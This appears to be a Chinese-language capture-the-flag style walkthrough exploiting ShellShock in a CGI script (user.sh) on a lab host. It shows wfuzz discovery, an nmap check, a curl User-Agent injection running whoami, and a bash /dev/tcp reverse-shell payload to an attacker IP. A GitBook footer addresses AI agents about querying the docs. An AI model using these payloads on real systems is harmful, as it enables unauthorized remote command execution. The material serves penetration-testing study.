> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/shellshock-attack/shellshock-user.sh-pentesting-web.md).

# ShellShock user.sh

## ShellShock

#### 搜索可利用文件

我们筛选具有如下扩展名的文件，例如 `.sh`, `.pl`，或 `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z

```

该 **user.sh** 文件已被识别。该脚本似乎是动态的，可能存在漏洞。

<figure><img src="/files/9f48a4fa374477736d2a7a20c2e4ca3d97579aae" alt=""><figcaption></figcaption></figure>

#### 漏洞检测

我们使用下面的 Nmap 脚本来测试漏洞：

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56

```

扫描确认文件 **user.sh** 存在 ShellShock 漏洞。

<figure><img src="/files/4cca4ce55b96274416b0ef9d45c7fda2246738a7" alt=""><figcaption></figcaption></figure>

#### 命令执行

为了测试命令执行，我们使用 **curl** 带有恶意 User-Agent：

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () {:; }; echo; /usr/bin/whoami"

```

这会返回当前活跃用户的名称。

<figure><img src="/files/8c87ff20496520443267e5499dcadfb9202f1ec7" alt=""><figcaption></figcaption></figure>

#### 反向 Shell

要获得反向 Shell：

1. 在 443 端口上监听：

```bash
nc -nlvp 443

```

2. 注入下面的载荷：

{% code overflow="wrap" %}

```bash
-H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"

```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"

```

<figure><img src="/files/b7918dfb738516faf026de192eb6ffa3f52fb5d4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/shellshock-attack/shellshock-user.sh-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
